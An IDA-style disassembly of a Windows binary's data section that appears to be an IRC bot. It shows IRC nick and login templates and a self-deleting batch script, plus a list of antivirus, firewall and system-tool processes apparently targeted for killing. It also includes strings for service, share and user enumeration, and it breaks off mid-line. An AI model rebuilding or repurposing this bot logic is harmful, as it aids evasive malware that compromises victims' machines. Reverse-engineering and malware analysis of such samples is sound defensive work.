'tropikal',0 ; DATA XREF: ___:00438264o align 4 aPassenger db 'passenger',0 ; DATA XREF: ___:00438260o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:0043825Co align 4 aUla db 'ula',0 ; DATA XREF: ___:00438258o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00438254o aAkden db 'akden',0 ; DATA XREF: ___:00438250o align 4 aKoray db 'KORAY',0 ; DATA XREF: ___:0043824Co align 10h aAta29 db 'Ata29',0 ; DATA XREF: ___:00438248o align 4 aFirtina db 'firtina',0 ; DATA XREF: ___:00438244o aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438240o aM41ist db 'M41IST',0 ; DATA XREF: ___:0043823Co align 10h aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438238o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: ___:00438234o align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00438230o align 4 aErkan db 'erkan',0 ; DATA XREF: ___:0043822Co align 4 aDevre db 'devre',0 ; DATA XREF: ___:00438228o align 4 aYabanc db 'yabanc',0 ; DATA XREF: ___:00438224o align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:00438220o align 4 aA44m db 'a44m',0 ; DATA XREF: ___:0043821Co align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:00438218o align 10h off_4386C0 dd offset byte_4B5245 ; DATA XREF: ___:00438214o aSevda db 'sevda',0 ; DATA XREF: ___:00438210o align 4 aKotan db 'kotan',0 ; DATA XREF: ___:0043820Co align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00438208o align 4 aAchilles db 'Achilles',0 ; DATA XREF: ___:00438204o align 4 aKapk db 'kapk',0 ; DATA XREF: ___:00438200o align 10h aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:004381FCo align 4 aHayran db 'hayran',0 ; DATA XREF: ___:004381F8o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:004381F4o align 10h aAnkar db 'Ankar',0 ; DATA XREF: ___:004381F0o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: ___:004381ECo aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:004381E8o align 4 aUmut db 'umut-',0 ; DATA XREF: ___:004381E4o align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:004381E0o align 4 aKumul db 'kumul',0 ; DATA XREF: ___:004381DCo align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:004381D8o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:004381D4o align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:004381D0o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:004381CCo align 10h aAykut1 db 'aykut1',0 ; DATA XREF: ___:004381C8o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:004381C4o align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: ___:004381C0o aHoly db 'holy',0 ; DATA XREF: ___:004381BCo align 4 aFlord db 'FLoRD',0 ; DATA XREF: ___:004381B8o align 10h aKebikec db 'kebikec',0 ; DATA XREF: ___:004381B4o aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:004381B0o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:004381ACo align 10h aEmre db 'Emre--',0 ; DATA XREF: ___:004381A8o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: ___:004381A4o align 10h aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:004381A0o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: ___:0043819Co align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00438198o align 10h aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00438194o aArda db 'arda',0 ; DATA XREF: ___:00438190o align 4 aDevran db 'devran',0 ; DATA XREF: ___:0043818Co align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00438188o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00438184o align 10h aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00438180o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:0043817Co align 4 aBogac db 'bogac',0 ; DATA XREF: ___:00438178o align 10h aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00438174o align 4 aAnkh db 'ankh',0 ; DATA XREF: ___:00438170o align 4 off_438854 dd offset byte_457441 ; DATA XREF: ___:0043816Co dword_438858 dd 414C5941h, 2Dh ; DATA XREF: ___:00438168o aAlbina db 'albina',0 ; DATA XREF: ___:00438164o align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00438160o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:0043815Co align 4 aAnk32m db 'ank32m',0 ; DATA XREF: ___:00438158o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:00438154o align 4 aAhmet db 'ahmet',0 ; DATA XREF: ___:00438150o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:0043814Co align 10h aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00438148o align 4 aRetg db 'RETG',0 ; DATA XREF: ___:00438144o align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438140o align 10h aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:0043813Co aAslii db 'aslii',0 ; DATA XREF: ___:00438138o align 10h aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00438134o aHaticem db 'haticem',0 ; DATA XREF: ___:00438130o aArzu db 'ARZU',0 ; DATA XREF: ___:0043812Co align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438128o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00438124o align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00438120o align 4 aTekir db 'tekir',0 ; DATA XREF: ___:0043811Co align 10h aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00438118o align 4 aTrend3 db 'trend3',0 ; DATA XREF: ___:00438114o align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:00438110o align 4 aAkin db 'AKIN',0 ; DATA XREF: ___:0043810Co align 4 aMary_0 db 'MARY',0 ; DATA XREF: ___:00438108o align 4 aJericho db 'JERICHO',0 ; DATA XREF: ___:00438104o aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00438100o aMisssunday db 'misssunday',0 ; DATA XREF: ___:004380FCo align 4 aIrmal db 'irmal',0 ; DATA XREF: ___:004380F8o align 10h aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:004380F4o align 10h aBerk19 db 'berk19',0 ; DATA XREF: ___:004380F0o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: ___:004380ECo align 10h aErkan27 db 'erkan27',0 ; DATA XREF: ___:004380E8o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:004380E4o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:004380E0o align 10h aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:004380DCo align 4 aKencing db 'Kencing',0 ; DATA XREF: ___:004380D8o aReshma db 'reshma',0 ; DATA XREF: ___:004380D4o align 4 aCamel db 'CAMEL',0 ; DATA XREF: ___:004380D0o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:004380CCo align 4 aImra db 'imra',0 ; DATA XREF: ___:004380C8o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:004380C4o align 10h aPuregold db 'puregold',0 ; DATA XREF: ___:004380C0o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:004380BCo align 4 aManee db 'manee',0 ; DATA XREF: ___:004380B8o align 4 aTroller db 'troller',0 ; DATA XREF: ___:004380B4o aLuisa db 'Luisa',0 ; DATA XREF: ___:004380B0o align 4 aNastysha db 'nastysha',0 ; DATA XREF: ___:004380ACo align 4 aRimpy db 'rimpy',0 ; DATA XREF: ___:004380A8o align 10h aJanno db 'janno',0 ; DATA XREF: ___:004380A4o align 4 aBunty db 'bunty',0 ; DATA XREF: ___:004380A0o align 10h aHeval db 'heval',0 ; DATA XREF: ___:0043809Co align 4 aCme db 'cme',0 ; DATA XREF: ___:00438098o aMarcy db 'marcy',0 ; DATA XREF: ___:00438094o align 4 aTalika db 'talika',0 ; DATA XREF: ___:00438090o align 4 aShez db 'Shez',0 ; DATA XREF: ___:0043808Co align 4 aKen db 'ken',0 ; DATA XREF: ___:00438088o aFlexster db 'flexster',0 ; DATA XREF: ___:00438084o align 4 aKoko db 'koko',0 ; DATA XREF: ___:00438080o align 4 aMale db 'male',0 ; DATA XREF: ___:0043807Co align 4 aSwin db 'swin',0 ; DATA XREF: ___:00438078o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00438074o aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00438070o align 4 aEmilya db 'emilya',0 ; DATA XREF: ___:0043806Co align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00438068o align 10h aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00438064o aFarooq db 'farooq',0 ; DATA XREF: ___:00438060o align 10h aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:0043805Co align 4 aM_0: ; DATA XREF: ___:00438058o ; ___:004383A4o unicode 0, <M>,0 word_438AC0 dw 4Eh ; DATA XREF: sub_41A367+38r ; ___:00438054o align 4 dword_438AC4 dd 42h ; DATA XREF: ___:00438050o dword_438AC8 dd 56h ; DATA XREF: ___:0043804Co dword_438ACC dd 43h ; DATA XREF: ___:00438048o dword_438AD0 dd 58h ; DATA XREF: ___:00438044o ; ___:004383D8o dword_438AD4 dd 5Ah ; DATA XREF: ___:00438040o dword_438AD8 dd 4Ch ; DATA XREF: ___:0043803Co dword_438ADC dd 4Bh ; DATA XREF: ___:00438038o dword_438AE0 dd 4Ah ; DATA XREF: ___:00438034o dword_438AE4 dd 48h ; DATA XREF: ___:00438030o dword_438AE8 dd 47h ; DATA XREF: ___:0043802Co dword_438AEC dd 46h ; DATA XREF: ___:00438028o ; ___:004383A0o dword_438AF0 dd 44h ; DATA XREF: ___:00438024o dword_438AF4 dd 53h ; DATA XREF: ___:00438020o dword_438AF8 dd 50h ; DATA XREF: ___:00438018o dword_438AFC dd 4Fh ; DATA XREF: ___:00438014o dword_438B00 dd 55h ; DATA XREF: ___:0043800Co word_438B04 dw 59h ; DATA XREF: sub_41A68B+38r ; ___:00438008o align 4 dword_438B08 dd 54h ; DATA XREF: ___:00438004o dword_438B0C dd 52h ; DATA XREF: ___:00438000o dword_438B10 dd 45h ; DATA XREF: ___:00437FFCo dword_438B14 dd 57h ; DATA XREF: ___:00437FF8o dword_438B18 dd 51h ; DATA XREF: ___:00437FF4o dword_438B1C dd 62h ; DATA XREF: ___:00437FE8o ; ___:004383B4o dword_438B20 dd 78h ; DATA XREF: ___:00438334o dword_438B24 dd 7Ah ; DATA XREF: ___:0043833Co ; ___:0043836Co dword_438B28 dd 6Ch ; DATA XREF: ___:00438308o dword_438B2C dd 68h ; DATA XREF: ___:004382F4o dword_438B30 dd 67h ; DATA XREF: ___:004382F0o ; ___:00438370o dword_438B34 dd 66h ; DATA XREF: ___:004382ECo dword_438B38 dd 64h ; DATA XREF: ___:004382E4o dword_438B3C dd 79h ; DATA XREF: ___:00438338o dword_438B40 dd 77h ; DATA XREF: ___:00438330o dword_438B44 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417B1E+C3o dword_438B50 dd 323334h ; DATA XREF: sub_417B1E+88o dword_438B54 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417B1E+67o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C15+98o db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 10h a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417E35+BCo ; sub_417E35+175r ... align 4 dword_438B9C dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_41827E+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_438BE8 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_41827E+E3o ; --------------------------------------------------------------------------- loc_438C04: ; DATA XREF: sub_41827E+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_438C18 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_41827E+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41864A+72o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418791+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418835+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418857+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418857+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418857+48o align 4 unk_438CCC db 2Dh ; - ; DATA XREF: sub_4189DF+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_438CFC db 2Dh ; - ; DATA XREF: sub_4189DF+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_438D24 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4189DF+5Co dd 65726165h, 64h off_438D40 dd offset aAdd ; DATA XREF: sub_418BBF+6Dr ; sub_418FA3+50r ... ; "Add" off_438D44 dd offset aAdded ; DATA XREF: sub_418BBF+2Dr ; sub_418FA3+82r ... ; "Added" dword_438D48 dd 0 ; DATA XREF: sub_418BBF+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 438DB4h, 438DACh, 2, 438DA0h, 438D94h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:00438D74o aStop_0 db 'Stop',0 ; DATA XREF: ___:00438D70o align 4 aStarted db 'Started',0 ; DATA XREF: ___:00438D68o aStart_0 db 'Start',0 ; DATA XREF: ___:00438D64o align 4 aListed db 'Listed',0 ; DATA XREF: ___:00438D5Co align 4 aList_1 db 'List',0 ; DATA XREF: ___:00438D58o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:00438D50o aDelete_0 db 'Delete',0 ; DATA XREF: ___:00438D4Co align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_438D44o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_438D40o unk_438E08 db 2Dh ; - ; DATA XREF: sub_418BBF+74o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_438E2C db 2Dh ; - ; DATA XREF: sub_418BBF+55o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_438E58 db 2Dh ; - ; DATA XREF: sub_418BBF+38o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418CE8+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418CE8:loc_418E00o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418CE8:loc_418DF9o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_418CE8:loc_418DF2o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_418CE8:loc_418DEBo align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_418CE8:loc_418DE4o db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_418CE8:loc_418DDDo align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418CE8:loc_418DD6o align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_418CE8:loc_418DCFo align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_418CE8:loc_418DC8o db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_418CE8:loc_418DC1o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_418CE8:loc_418D96o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_418CE8:loc_418D8Fo db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_418CE8:loc_418D88o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_418CE8:loc_418D81o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418CE8+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_418CE8:loc_418D56o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_418CE8:loc_418D4Co aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_418CE8:loc_418D42o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418CE8:loc_418D38o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_418CE8:loc_418D2Eo align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418CE8+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418E66+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_418E66:loc_418F32o aStarting db ' Starting',0 ; DATA XREF: sub_418E66:loc_418F2Bo aStoping db ' Stoping',0 ; DATA XREF: sub_418E66:loc_418F24o aRunning db ' Running',0 ; DATA XREF: sub_418E66:loc_418F1Do aContinuing db ' Continuing',0 ; DATA XREF: sub_418E66:loc_418F16o aPausing db ' Pausing',0 ; DATA XREF: sub_418E66:loc_418F0Fo aPaused_0 db ' Paused',0 ; DATA XREF: sub_418E66:loc_418F08o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418E66+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_418E66+25o align 4 unk_4393AC db 2Dh ; - ; DATA XREF: sub_418FA3+ABo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h dword_4393D0 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418FA3+89o dd 73252720h, 27h unk_4393EC db 2Dh ; - ; DATA XREF: sub_418FA3+57o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419198+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_419198+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_419198+B5o unk_439438 db 2Dh ; - ; DATA XREF: sub_419198+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_419198+26o align 4 unk_439498 db 2Dh ; - ; DATA XREF: sub_4192B9+B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h unk_4394C0 db 2Dh ; - ; DATA XREF: sub_4192B9+94o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_4394F0 db 2Dh ; - ; DATA XREF: sub_4192B9+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h unk_439510 db 2Dh ; - ; DATA XREF: sub_4193FF+394o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_4193FF+36Ao align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_4193FF+33Fo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4193FF+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_4193FF+2ECo align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_4193FF+2C4o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_4193FF+299o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_4193FF+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_4193FF+246o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_4193FF+21Eo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_4193FF+1F3o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_4193FF+1CBo align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_4193FF+1A0o align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_4193FF+178o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_4193FF+14Do align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_4193FF+125o aGuest db 'Guest',0 ; DATA XREF: sub_4193FF:loc_419518o align 10h aUser_0 db 'User',0 ; DATA XREF: sub_4193FF:loc_419511o align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_4193FF:loc_41950Ao align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_4193FF+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_4193FF+ACo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_4193FF+81o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_4193FF+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4197CD+14Fo align 4 unk_4396CC db 2Dh ; - ; DATA XREF: sub_4197CD+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_4197CD+BEo align 10h unk_439700 db 2Dh ; - ; DATA XREF: sub_4197CD+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4197CD+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41994D:loc_419A6Ao align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41994D:loc_419A63o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41994D:loc_419A5Co align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41994D:loc_419A55o align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41994D:loc_419A4Eo align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41994D:loc_419A31o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41994D:loc_419A2Ao align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41994D:loc_419A23o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41994D+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41994D:loc_4199F8o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41994D:loc_4199F1o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41994D:loc_4199EAo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41994D:loc_4199E0o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41994D+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41994D:loc_4199BAo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41994D:loc_4199B0o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41994D:loc_4199A6o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41994D:loc_41999Co align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41994D:loc_419992o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41994D+3Bo align 4 dword_439A08 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419A81+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_439A34 db 2Dh ; - ; DATA XREF: sub_419A81+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_439A60 dd offset aRegedit_exe ; DATA XREF: sub_419BAA+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_439B68 dd offset dword_439B5C dd offset dword_439B50 dd offset dword_439B44 dd offset dword_439B38 dd offset dword_439B2C dd offset dword_439B1C dd offset dword_439B10 dd offset dword_439B04 dd offset dword_439AF8 dd offset dword_439AEC dd offset dword_439ADC dd offset dword_439AD0 dd offset dword_439AC0 dword_439AC0 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_419BAA+ECo ; ___:00439ABCo dword_439AD0 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439AB8o dword_439ADC dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439AB4o dword_439AEC dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439AB0o dword_439AF8 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439AACo dword_439B04 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439AA8o dword_439B10 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439AA4o dword_439B1C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439AA0o dword_439B2C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:00439A9Co dword_439B38 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439A98o dword_439B44 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:00439A94o dword_439B50 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:00439A90o dword_439B5C dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:00439A8Co dword_439B68 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:00439A88o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439A84o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439A80o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:00439A7Co align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:00439A78o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:00439A74o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:00439A70o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:00439A6Co aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:00439A68o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:00439A64o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_439A60o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419BAA+191o align 4 unk_439C18 db 2Dh ; - ; DATA XREF: sub_419DD9:loc_419E60o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_439C3C db 2Dh ; - ; DATA XREF: sub_419DD9+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 10h unk_439C60 db 2Dh ; - ; DATA XREF: sub_419DD9+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 